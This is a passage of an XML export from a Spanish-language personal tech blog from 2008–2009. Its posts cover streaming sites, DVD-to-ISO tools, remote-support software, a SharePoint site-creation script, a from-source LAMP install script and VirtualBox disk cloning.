Si puedes ir al concierto de Celine Dion y no vas... Ni Como Ayudarte !!!.

Dino</motd>
    <nombre>Gordie Brown abre el concierto de Celine Dion</nombre>
    <permalink>concierto_celine_dion</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2009-01-17T11:56:19-05:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Recientemente estaba platicando acerca de instalar una computadora con el Windows Media Center y/o Linux MythTV, pero me pasaron el dato de un par de sitios donde puedes ver peliculas completas en forma de stream de internet.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2009-01-06T21:58:49-05:00</created-at>
    <id type="integer">19</id>
    <links>http://www.hulu.com/
http://www.fancast.com/</links>
    <motd>Los sitios que me recomendaron son:
http://www.hulu.com/
http://www.fancast.com/

Ambos son muy buenos y puedes encontrar suficiente material para estar entretenido un buen rato, me impresiono que hasta tienen los partidos de futbol americano colegial ya que el anio pasado tuve que rentar yahoo radio para escuchar uno, quizas no este en tiempo real, pero al menos si te perdiste del evento y/o tienes un espacio de tiempo podras verlo.

No he intentado bajar el stream, es posible que se pueda hacer, ultimamente encontre que el realPlayer 10 tiene en Internet Explorer una funcion excelente para bajar stream de Flash y/o videos por ejemplo youtube. Voy a experimentar y en cuanto tenga la respuesta dejo el post.

Por lo pronto feliz anio nuevo 2009, mucho exito y salud para todos !!!.

Dino</motd>
    <nombre>Sitios de web para ver Peliculas y programas de TV en linea y gratis !!!</nombre>
    <permalink>tv_stream</permalink>
    <picurl>http://static.hulu.com/images/logo.jpg?1231272263</picurl>
    <updated-at type="datetime">2009-01-06T21:59:25-05:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Alguna vez has ido de viaje, te llevas tu laptop, y quieres usarla como reproductor de DVD pero no te late andar cargando toda la fiesta... bueno aqui esta una solucion, que tal si a tu DVD en casa le haces un encode y generas una imagen "ISO" del DVD, si todo el DVD en una sola imagen ISO.

En tu pc podras cargar tandas imagenes ISO como espacio en el disco duro tengas, luego usas una herramienta equivalente a lo que en Linux/Unix seria como montar la imagen ISO en un drive y listo podras reproducir tu pelicula de DVD sin perder detalle alguno.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-12-12T21:44:46-05:00</created-at>
    <id type="integer">18</id>
    <links>http://www.dvdfab.com/
http://www.daemon-tools.cc/dtcc/announcements.php
http://www.powerdvd.com-http.com/
</links>
    <motd>Para la primera parte de esta recete te recomiendo el &lt;a href="http://www.dvdfab.com/" target="new"&gt;DVD Fab&lt;/a&gt;, que es un software gratuito que te permitira generar una imagen ISO de tu DVD. Una vez que tengas la imagen generada con el software tambien gratuito de &lt;a href="http://www.daemon-tools.cc/dtcc/announcements.php"&gt;Daemon Tools&lt;/a&gt; podras montar tu imagen ISO en un drive de windows. 

Nota si se hace un poco complicado haces click derecho en el icono de daemon tools, te vas a Virtual CD Rom, luego Device y en el menu le dices montar ISO, le indicas donde esta tu imagen ISO que deseas montar y listo.

El ultimo paso una vez montado sera como si hubieras puesto el DVD en una unidad de tu laptop, solo necesitas usar un software para ver tu DVD en mi caso mi Laptop viene con &lt;a href="http://www.powerdvd.com-http.com/" target="new"&gt;Power DVD&lt;/a&gt;.

Desde luego existen mas opcciones de software para hacer algo similar, pero aqui solo puse una receta espero que te sea de utilidad y disfrutes al maximo de los recursos de tu sistema. Por ahi me pasaron el dato que hay un software llamado "Rip It for Me" que hace algo similar que el DVD Fab pero ese no lo he probado.

Hasta la proxima razilla. 

Salu2 Din00z</motd>
    <nombre>Como generar imagenes ISO de tus DVD's en tu Laptop con software libre !!!</nombre>
    <permalink>dvd2iso</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2008-12-12T21:44:46-05:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Muchas veces tenemos la necesidad de proporcionar soporte remoto a nuestros clientes, pero desgraciadamente quizas no tenemos la facilidad de usar software de VPN. Si tu red cuenta con una WAN privada es muy posible que tengas instalado un software como el &lt;a href="http://www.realvnc.com/"&gt;VNC&lt;/a&gt; funcionara perfectamente en cualquier maquina incluyendo Win95/98 si es que todavia lo tienes Mac y Unix/Linux.

Revista este post donde encontraras muchas alternativas de software de conexion remota donde seguramente alguna de ellas te sera de utilidad.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-11-23T13:49:36-05:00</created-at>
    <id type="integer">17</id>
    <links>http://www.teamviewer.com/
http://www.realvnc.com/
http://www.tightvnc.com/
http://www.plenz.com/reverse-vnc/
http://gotomypc.com
http://www.webex.com</links>
    <motd>La otra alternativa si deseas que tus clientes se conecten y te manden solo el video de su pantalla ejecutando solo un programa puede ser utilizando el VNC Reverso &lt;a href="http://www.plenz.com/reverse-vnc/"&gt;Plenz Reverse VNC&lt;/a&gt; que esta basado en la variacion de VNC llamado &lt;a href="http://www.tightvnc.com/"&gt;TightVNC&lt;/a&gt;. Suena como una alternativa muy buena, pero puede resultar algo peligroso ya que aunque es muy sencilo tanta simplicidad puede llevar a problemas de seguridad ya que puede hacer que cualquier cliente de windows exponga su pantalla completa, asi que usalo con precaucion. "Con gran poder se adquiere gran responsabilidad" [ Ben tio del Hombre Arania ].

Recientemente me pasaron el tip de una herramienta llamada &lt;a href="http://www.teamviewer.com/"&gt;TeamViewer&lt;/a&gt; la cual es muy util ya que me recuerda los tiempos de &lt;a href="http://www.webex.com/"&gt;webEX&lt;/a&gt; pero sin necesidad de usar la misma plataforma, esta sesion permite que via web hagas una sesion y le pases el dato a tu soporte remoto para que se cnecte y te pueda ayudar. Quizas es mas bien algo asi como &lt;a href="http://www.gotomypc.com"&gt;GoToMyPC&lt;/a&gt; pero totalmente gratuito. El software no necesita instalacion solo correr desde tu escritorio.

</motd>
    <nombre>Alternativas de software para soporte remoto VNC, TeamViewer and Reverse VNC...</nombre>
    <permalink>soporte_remoto</permalink>
    <picurl>http://www.realvnc.com/assets/img/logo.gif</picurl>
    <updated-at type="datetime">2008-11-23T22:39:01-05:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Yo me acuerdo cuando comenze a jugar Starcraft, haciamos unas mega sessiones y mi amigo Armando Montiel monto nuestro propio servidor de Battle.net donde nos permitia jugar con mucho mas velocidad en linux es: Bnetd. Desafortunadamente el proyecto fue cerrado por Blizzard aun cuando era ingenieria reversa en la forma de transmision de paquetes. pero amigos otro proyecto surgio y si quieres hostear tu propia "Lan Party" no dejes de checar los detalles de este post.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-11-16T22:00:44-05:00</created-at>
    <id type="integer">16</id>
    <links>http://www.pvpgn.org/
http://pvpgn.berlios.de/
http://www.blizzard.com</links>
    <motd>La pagina principal del proyecto: &lt;a href="http://www.pvpgn.org/"&gt;http://www.pvpgn.org&lt;/a&gt;

Todos los detalles de desarrollo estan aqui: &lt;a href="http://pvpgn.berlios.de/"&gt;http://pvpgn.berlios.de&lt;/a&gt;

Basicamente tomaron el desarrollo que habia de Bnetd. y lo ampliaron, asi que no hay pretexto, si deseas tener algo de diversion y armar tu propia lan de juegos quizas con ton Internet Cafe favorito aqui esta la receta. Necesitas porsupuesto un servidor linux.

Lo que estaria buenisima onda es que pudieran incluir el nuevo StarCraft II que me muero de ganas por jugarlo seguramente sera un super hitazo.</motd>
    <nombre>Para jugadores de Starcraft &amp; Warcraft en Battle.net de Blizzard... aqui esta el nuevo Bnetd...</nombre>
    <permalink>pvpgn</permalink>
    <picurl>http://www.pwmn.net/joomla/images/stories/pvpgn.jpg</picurl>
    <updated-at type="datetime">2008-11-23T22:40:30-05:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Todos sabemos de los comerciales de Mac vs PC. aqui estan otros ejemplos donde hacen parodia de las diferencias entre Mac's y PC's donde la Mac le envia un virus a la PC y hace que el sistema operativo falle, algo asi como un mail bomber.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-11-07T18:44:15-05:00</created-at>
    <id type="integer">15</id>
    <links>http://www.youtube.com/watch?v=Id_kGL3M5Cg
http://www.youtube.com/watch?v=0-22EpQOm8c&amp;feature=related
http://www.youtube.com/watch?v=x7PhJp3ciRQ&amp;feature=related</links>
    <motd>South Park Mac vs. PC
http://www.youtube.com/watch?v=Id_kGL3M5Cg

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Id_kGL3M5Cg&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Id_kGL3M5Cg&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

En este otro aparece Linux. [ South Park Mac vs. PC vs. Linux ] Es interesante ver como hacen burla de los defectos de los sistemas operativos.

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/0-22EpQOm8c&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/0-22EpQOm8c&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

Este tambien esta muy divertido, pero lo dejo sin hacer liga directa para que lo puedas ver cuando tengas oportunidad ;-)
Hello I'm a Wii
http://www.youtube.com/watch?v=x7PhJp3ciRQ&amp;feature=related

Salu2 Dinooz

</motd>
    <nombre>South Park Mac vs. PC</nombre>
    <permalink>south_park_mac_vs_pc</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2008-11-07T18:46:29-05:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Sharepoint es una herramienta de colaboracion muy buena, las plantillas que vienen por default pueden ser creadas en un sitio temporal y estas pueden ser accesadas para que tengas una idea de como funcionaria tu sitio.

Se que puedes hacer esto usando la interfaz de web, pero despues de unos 500 clicks mi dedo se comienza a entumir y realmente no quiero hacerlo, basado en mi experiencia como administrador Linux, no quiero repetir mis acciones miles de veces asi que hice ese script que solo necesitas correrlo y creara un sitio "default" y dentro de ese sitio incluira sub-sitios que usan las plantillas que vienen por default en WSS y/o MOSS.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-10-28T13:05:46-04:00</created-at>
    <id type="integer">14</id>
    <links>http://www.microsoft.com/sharepoint/default.mspx</links>
    <motd>Si usas WSS / MOSS Sharepoint es recomendable que pongas como variable de ambiente el path donde se buscara sharepoint conocido como Hive

(*12 Hive = C:\Program Files\Common Files\Microsoft Shared\web server extensions\12\bin)

De esta forma podras llamar el comando stsadm.exe desde la linea de comando y/o desd eun script.

Este script creara un sub-sitio para la intranet intranet.com llamado default.
http://intranet.com/default

Dentro de ese sub-sitio creara sitios para cada una de la plantillas.


####################
stsadm -o createweb -url http://intranet.com/default -sitetemplate SPSSITES#0 -title "Default Templates" -description "Description"
stsadm -o createweb -url http://intranet.com/default/teamsite -sitetemplate STS#0 -title "Team Site" -description "Description"
stsadm -o createweb -url http://intranet.com/default/blanksite -sitetemplate STS#1 -title "Blank Site" -description "Description"
stsadm -o createweb -url http://intranet.com/default/documentworkspace -sitetemplate STS#2 -title "Document Workspace" -description "Description"
stsadm -o createweb -url http://intranet.com/default/basicmeetingworkspace -sitetemplate MPS#0 -title "Basic Meeting Workspace" -description "Description"
stsadm -o createweb -url http://intranet.com/default/blankmeetingworkspace -sitetemplate MPS#1 -title "Blank Meeting Workspace" -description "Description"
stsadm -o createweb -url http://intranet.com/default/decisionmeetingwp -sitetemplate MPS#2 -title "Desicion Meeting Workspace" -description "Description"
stsadm -o createweb -url http://intranet.com/default/socialmeetingworkspace -sitetemplate MPS#3 -title "Social Meeting Workspace" -description "Description"
stsadm -o createweb -url http://intranet.com/default/multipagemeetingwp -sitetemplate MPS#4 -title "Multipage Meeting workspace" -description "Description"
stsadm -o createweb -url http://intranet.com/default/wikisite -sitetemplate WIKI#0 -title "Wiki" -description "Description"
stsadm -o createweb -url http://intranet.com/default/blog -sitetemplate BLOG#0 -title "Blog" -description "Description"
stsadm -o createweb -url http://intranet.com/default/documentcenter -sitetemplate BDR#0 -title "Document Center" -description "Description"
stsadm -o createweb -url http://intranet.com/default/recordcenter0 -sitetemplate OFFILE#0 -title "Record Center 0" -description "Description"
stsadm -o createweb -url http://intranet.com/default/recordcenter2 -sitetemplate OFFILE#1 -title "Record Center 1" -description "Description"
stsadm -o createweb -url http://intranet.com/default/sharedservicesadministration -sitetemplate OSRV#0 -title "Shared Services Administration" -description "Description"
stsadm -o createweb -url http://intranet.com/default/spportalpersonalspace -sitetemplate SPSPERS#0 -title "SP Portal Personal Space" -description "Description"
stsadm -o createweb -url http://intranet.com/default/personalizationsite -sitetemplate SPSMSITE#0 -title "Personalization Site" -description "Description"
stsadm -o createweb -url http://intranet.com/default/contentsareatemplate -sitetemplate SPSTOC#0 -title "COntents Area Template" -description "Description"
stsadm -o createweb -url http://intranet.com/default/topicareatemplate -sitetemplate SPSTOPIC#0 -title "Topic Area Template" -description "Description"
stsadm -o createweb -url http://intranet.com/default/newssite -sitetemplate SPSNEWS#0 -title "News Site" -description "Description"
stsadm -o createweb -url http://intranet.com/default/publish0 -sitetemplate CMSPUBLISHING#0 -title "Publishing Site 0" -description "Description"
stsadm -o createweb -url http://intranet.com/default/publish1 -sitetemplate BLANKINTERNET#0 -title "Publishing Site 1" -description "Description"
stsadm -o createweb -url http://intranet.com/default/pressreleasessite -sitetemplate BLANKINTERNET#1 -title "Press Release Site" -description "Description"
stsadm -o createweb -url http://intranet.com/default/publishingsitewithworkflow -sitetemplate BLANKINTERNET#2 -title "Publishing Site with Workflow" -description "Description"
stsadm -o createweb -url http://intranet.com/default/newsite -sitetemplate SPSNHOME#0 -title "News Site 2" -description "Description"
stsadm -o createweb -url http://intranet.com/default/sitedirectory -sitetemplate SPSSITES#0 -title "Site Directory" -description "Description"
stsadm -o createweb -url http://intranet.com/default/communityareatemplate -sitetemplate SPSCOMMU#0 -title "Community Area Template" -description "Description"
stsadm -o createweb -url http://intranet.com/default/reportcenter -sitetemplate SPSREPORTCENTER#0 -title "Report Center" -description "Description"
stsadm -o createweb -url http://intranet.com/default/collaborationportal -sitetemplate SPSPORTAL#0 -title "Collaboration Portal" -description "Description"
stsadm -o createweb -url http://intranet.com/default/searchcenterwithtabs -sitetemplate SRCHCEN#0 -title "Search Center with Tabs" -description "Description"
stsadm -o createweb -url http://intranet.com/default/profiles -sitetemplate PROFILES#0 -title "Profiles" -description "Description"
stsadm -o createweb -url http://intranet.com/default/publishingportal -sitetemplate BLANKINTERNETCONTAINER#0 -title "Publishing Portal" -description "Description"
stsadm -o createweb -url http://intranet.com/default/mysitehost -sitetemplate SPSMSITEHOST#0 -title "My Site Host" -description "Description"
stsadm -o createweb -url http://intranet.com/default/searchcenter0 -sitetemplate SRCHCENTERLITE#0 -title "Search Center 0" -description "Description"
stsadm -o createweb -url http://intranet.com/default/searchcenter1 -sitetemplate SRCHCENTERLITE#1 -title "Search Center 1" -description "Description"
####################

Cuando termine de ejecutarse tendras tantos sitios como plantillas por default, lo cual puede ser muy util porque te permitira ver que ventajas y/o listas tiene cada uno de los sitios y asi podras hacer una mejor seleccion.

No dejes de checar el siguiente articulo donde ponder la receta de scripts para publicar de las 40 plantillas de microsoft que son wsp y stp algo similar para que hagas uso completo de tu desarrollo de Sharepoint.

Salu2 Dino
</motd>
    <nombre>Como crear un Sitio de Web con WSS /MOSS :: Sharepoint con las plantillas originales desde un script !!!</nombre>
    <permalink>sharepoint_default</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2008-10-28T13:05:46-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Todos recordaran el comercial Hola soy una PC, pero ya se habian tardado los Linuxeros en anunciar que el hecho de usar una PC no quiere decir que no usas Linux.

Novell puso los primeros comerciales donde aparecen los estereotipos de PC y Mac, y porsupuesto Linux !!!.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-10-19T23:19:30-04:00</created-at>
    <id type="integer">13</id>
    <links>http://www.youtube.com/watch?v=Pa1RCg-Ccp0
http://www.youtube.com/watch?v=rtp5gNhBZgo
http://www.youtube.com/watch?v=GVOnFdMf0RU</links>
    <motd>http://www.youtube.com/watch?v=Pa1RCg-Ccp0

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Pa1RCg-Ccp0&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Pa1RCg-Ccp0&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;


http://www.youtube.com/watch?v=rtp5gNhBZgo

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/rtp5gNhBZgo&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/rtp5gNhBZgo&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;


http://www.youtube.com/watch?v=GVOnFdMf0RU


&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/GVOnFdMf0RU&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/GVOnFdMf0RU&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;</motd>
    <nombre>Comercial :: Hello I'm a PC , But I run Linux</nombre>
    <permalink>im_a_pc</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2008-10-20T22:04:39-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Resulta que Oracle creo una base de datos edicion express, esta basada en la distribucion 10g R2 (Version 2). Adicionalmente usa su plataforma que originalmente se llamba HTMLDB y basicamente es metaprogramacion usando el Modelo MVC.

Lo unico que necesitas para programar es conocimiento en SQL y PL/SQL, lo demas lo haces desde la interfaz de web que facilmente te permite agregar lo que necesites para tu aplicacion. Adicionalmente esta interfaz de web te permite generar querys, ver estado de la base de datos y administrala.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-10-19T23:09:44-04:00</created-at>
    <id type="integer">12</id>
    <links>http://www.oracle.com/technology/products/database/xe/index.html
http://www.oracle.com/technology/products/database/application_express/index.html </links>
    <motd>Lo que mas me gusta es el hecho de que puedes en tres archivos de texto guardar la aplicacion completa, el esquema de tu base de datos y en el tercero los datos que necesites que esten pre-cargados. En el archivo de exportacion de tu aplicacion no le podras exactamente hacer modificaciones ya que es un extracto de lo que el servidor de aplicaciones de PL/SQL usara para importar de nuevo la aplicacion pero resulta practico tener en un solo archivo de texto tu aplicacion. El otro archivo de datos y de esquema es muy comunmente usado con aplicaciones lo que hace es que te permite crear tus tablas asi como insertar los datos de tu aplicacion.

Es posible Oracle XE en Windows y en Linux sin ningun problema, como es la version express existen algunas limitantes como el hecho de que tu base de datos no puede ser mayor a 4GB. Usara solamente 1 procesador aun cuando la maquina donde lo corras tenga doble procesador y desde luego no podras configurarla en cluster.

Oracle lanzo una actualizacion para hacer compatible la version de APEX de XE con la version APEX comercial, lo cual es muy bueno ya que te permite estandarizar tus aplicaciones. Por el precio vale la pena echarle un vistazo. A mi me ha funcionado de maravilla. Y soy un usuario activo en los foros de Oracle XE. </motd>
    <nombre>Programando aplicaciones web con Oracle APEX en Oracle XE.</nombre>
    <permalink>oracle_xe</permalink>
    <picurl>http://www.oracle.com/technology/products/database/xe/xe_logo.gif</picurl>
    <updated-at type="datetime">2008-10-19T23:09:44-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Si alguna vez te preguntaste como instalar LAMP en Linux sin usar Apache 2.X sino el 1.3.X aqui esta la receta completa. Desde hace unos 8 anios vengo instalando PHP en maquinas Linux usando 1.3.X, me funciona bastante rapido y no requiere tantas librerias como el Apache 2.X.

Esta receta puede serte de utilidad si deseas mantener tu distribucion minima, pero deseas tener compilado un servidor de web con soporte a PHP. adicionalmente compilo desde cero las librerias de ModSSL y OpenSSL, para generar un certificado de SSL que sirva para encryptar tu navegacion si asi lo requires.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-10-10T15:41:38-04:00</created-at>
    <id type="integer">11</id>
    <links>http://www.php.net
http://apache.org
http://openssl.org
http://modssl.org</links>
    <motd>Nota: El certificado de SSL no esta homologado ni registrado en Internet, se puede usar para findes de aprendizaje y bajo tu propio riesgo.

Aqui esta el script completo, Solo copia el codigo y salvalo en en tu linux con extension .sh, si asegurate que tenga permisos de ejecucion, luego como root ejecutalo, lo que hara sera bajar todas los paquetes necesarios de internet, los descomprime y luego se va uno por uno compilandolos.


#
## Bernardino Lopez
## Albertville, AL
## USA
## Aug 04 / 2006
#

#!/bin/sh
# Shell Script that Install PHP/Apache/MySQL in Linux Redhat # Lets Download all the files 

# Download PHP
# Version: 4.3.2RC4
#wget http://us2.php.net/distributions/php-4.4.3.tar.gz

# Download Apache
# Version: 1.3.27
#wget http://www.apache.org/dist/httpd/apache_1.3.37.tar.gz

# Download OpenSSL
# Version: 0.9.7b
# wget http://www.openssl.org/source/openssl-0.9.8b.tar.gz

# Download ModSSL
# Version: 2.8.14-1.3.27
# wget http://www.modssl.org/source/mod_ssl-2.8.28-1.3.37.tar.gz

# Descomprimimos todos los Archivos.
echo " =&gt;   Extracting FILE PHP-APACHE-PHP-SSL";
tar -zxf php-4.4.3.tar.gz
echo " =&gt;   Extracting PHP OK";
tar -zxf apache_1.3.37.tar.gz
echo " =&gt;   Extracting APACHE OK";
tar -zxf openssl-0.9.8b.tar.gz
echo " =&gt;   Extracting OPENSSL OK";
tar -zxf mod_ssl-2.8.28-1.3.37.tar.gz
echo " =&gt;   Extracting MODSSL OK";
tar -zxf mcrypt-2.6.4.tar.gz
echo " =&gt;   Extracting mcrypt OK";
tar -zxf libmcrypt-2.5.7.tar.gz
echo " =&gt;   Extracting libmcrypt OK";
tar -zxf mhash-0.9.1.tar.gz
echo " =&gt;   Extracting mhash OK";

echo " ";
echo " *** Extract OK **** ";

echo "##################################################"
echo "###  mcrypt, mhash, libmcrypt    		     ###"
echo "##################################################"

# Install mcrypt
echo "/usr/local/lib" &gt;&gt; /etc/ld.so.conf ldconfig

# Install mhash
cd mhash-0.9.1
./configure
make
make check
make install
cd ..

# Install libmcrypt
cd libmcrypt-2.5.7
./configure
make
make check
make install
cd ..

ldconfig

# Install mcrypt
cd mcrypt-2.6.4
./configure
make
make install
cd ..

echo "##################################################"
echo "##  Install PAS OpenSSL + ModSSL + PHP + Apache ##"
echo "##################################################"

cd openssl-0.9.8b
make clean
./config --prefix=/usr/local/openssl
make
make test
make install
cd ..
echo " =&gt; Install [ OPENSSL OK ] ";

# install modssl
cd mod_ssl-2.8.28-1.3.37
make clean
./configure \
--with-apache=../apache_1.3.37 \
--with-ssl=../openssl-0.9.8b
cd ..
echo " =&gt; Install [ MODSSL OK ] ";

# initial config of apache
cd apache_1.3.37
make clean
./configure --prefix=/usr/local/apache
cd ..
echo " =&gt; Install [ APACHE INITIAL  OK ] "; 

# install PHP
cd php-4.4.3
make clean
CFLAGS='-O2 -I/usr/local/openssl/include' \ ./configure \
--with-apache=../apache_1.3.37 \
--with-mysql \
--with-zlib \
--with-mcrypt=/usr/local/lib \
--enable-memory-limit=yes \
--enable-debug=no \
--enable-sigchild \
--enable-track-vars \
--enable-snmp \
--enable-sockets \
--enable-ftp
make
make install
cd ..
echo " =&gt; Install [ PHP OK ] ";
#wget http://www.openssl.org/source/openssl-0.9.8b.tar.gz
# Install APACHE
cd apache_1.3.37
SSL_BASE=/usr/local/openssl \
./configure \
--prefix=/usr/local/apache \
--enable-module=ssl \
--activate-module=src/modules/php4/libphp4.a \
--enable-module=php4 \
--enable-module=auth_dbm \
--enable-module=auth_db
make
make certificate
make install
cd ..
echo " =&gt; Install [ APACHE FINAL OK =) ] ";

# Final PHP Files
cd php-4.4.3
cp php.ini-dist /usr/local/lib/php.ini -f cd ..
echo " ";
echo " Install  Complete [ PHP 4.4.0 MySQL/Apache/ModSSL/OpenSSL ] "; echo " ";



Esta receta la publique en php.org.mx pero desgraciadamente el sitio salio del aire, pero aqui esta la receta de nuevo, desde luego usando distribuciones modernas es mucho mas facil pero me parecio interesante ponerla aqui ya que no hay que olvidar donde comenzo todo, porque si piensas que todo debe usar interfaz grafica Ni Como Ayudarte !!!.

Nota si haces los pasos del script uno por uno recuerda que puedes agregar soporte a librerias como GD para hacer graficos desde PHP funciona muy bien, adicionalmente le inclui soporte para Oracle, OCI8 y swf, pero eso lo dejo como ejercicio para que practiques.

Salu2 Dino.


</motd>
    <nombre>Como instalar LAMP en Fedora Linux [ Linux + Apache + MySQL + PHP ] + SSL</nombre>
    <permalink>lamp</permalink>
    <picurl>http://paginas.nicomoayudarte.com/lamp.gif</picurl>
    <updated-at type="datetime">2008-10-20T22:15:21-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Dicen que una imagen dice mas que mil palabras, bueno pues un video puede ser una herramienta de aprendizaje increible. El poder ver y escuchar lo que se esta haciendo permite aprende mucho mas facil.

En este post menciono dos programas para windows que permiten grabar screenscasts en tu computadora y son absolutamente gratuitos. Me refiero a:
Windows Media Encoder
Camstudio</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-10-09T20:47:39-04:00</created-at>
    <id type="integer">10</id>
    <links>http://www.microsoft.com/windows/windowsmedia/forpros/encoder/default.mspx
http://camstudio.org/


</links>
    <motd>Este programa para windows permite grabar la pantalla completa y/o solo alguna ventana abierta.

Windows Media Encoder
http://www.microsoft.com/windows/windowsmedia/forpros/encoder/default.mspx

Este otro es tambien muy bueno, particularmente lo recomiendo cuando el video no es muy grande.

Camstudio
http://camstudio.org/


</motd>
    <nombre>Software para grabar screencasts en windows</nombre>
    <permalink>screencast_software</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2008-10-09T20:47:39-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Me pasaron un par de links del youtube donde hacen referencia al comediante Jeff Dunham, me recuerda a lo que en su momento saco canal 13 con los PePeLuches. En estos links estan un par de presentaciones y me parecieron muy divertidos espero que los disfrutes.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-10-04T13:58:03-04:00</created-at>
    <id type="integer">9</id>
    <links>http://www.youtube.com/watch?v=1uwOL4rB-go
http://www.youtube.com/watch?v=47DT41m86N4
http://www.jeffdunham.com/media.php
</links>
    <motd>http://www.youtube.com/watch?v=1uwOL4rB-go
Achmed the Dead Terrorist - Achmed el Terrorista Muerto
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/1uwOL4rB-go&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/1uwOL4rB-go&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;


http://www.youtube.com/watch?v=47DT41m86N4
Jeff Dunham con el Jalapenio
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/47DT41m86N4&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/47DT41m86N4&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;


</motd>
    <nombre>Un poco de humor con Jeff Dunham</nombre>
    <permalink>jeff_dunham</permalink>
    <picurl>http://paginas.nicomoayudarte.com/jeff_dunham.jpg</picurl>
    <updated-at type="datetime">2008-10-04T14:04:03-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Cuando comenze a usar el software de virtualizacion de VirtualBox me encontre con el problema de clonar maquinas virtuales que habia hecho, lo primero que paso por mi mente fue el hecho de copiar el archivo con extension .dvi y con eso llevar a cabo mi clon. Desafortunadamente eso no funciono, aqui esta la receta para hacerlo usando el VBoxManage =)</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-10-02T22:28:20-04:00</created-at>
    <id type="integer">8</id>
    <links>http://www.virtualbox.org/</links>
    <motd>El clonar maquinas virtuales en VirtualBox no es tan simple como copiar el archivo vdi y darlo de alta en el Manejador de Discos Virtuales.

Lo que tienes que hacer es usar el programa VBoxManage y pasarle los parametros de tu archivo original .vdi y del nombre del archivo destino donde se clonara tu maquina virtual.

&lt;small&gt;
C:\Program Files\Sun\xVM VirtualBox&gt;"C:\Program Files\Sun\xVM VirtualBox"\VBoxManage.exe clonevdi \
"C:\Documents and Settings\Dino\.VirtualBox\VDI\WindowsVista.vdi" \ 
"C:\Documents and Settings\Dino\.VirtualBox\VDI\WindowsVistaWSS.vdi" \
VirtualBox Command Line Management Interface Version 2.0.2
(C) 2005-2008 Sun Microsystems, Inc.
All rights reserved.

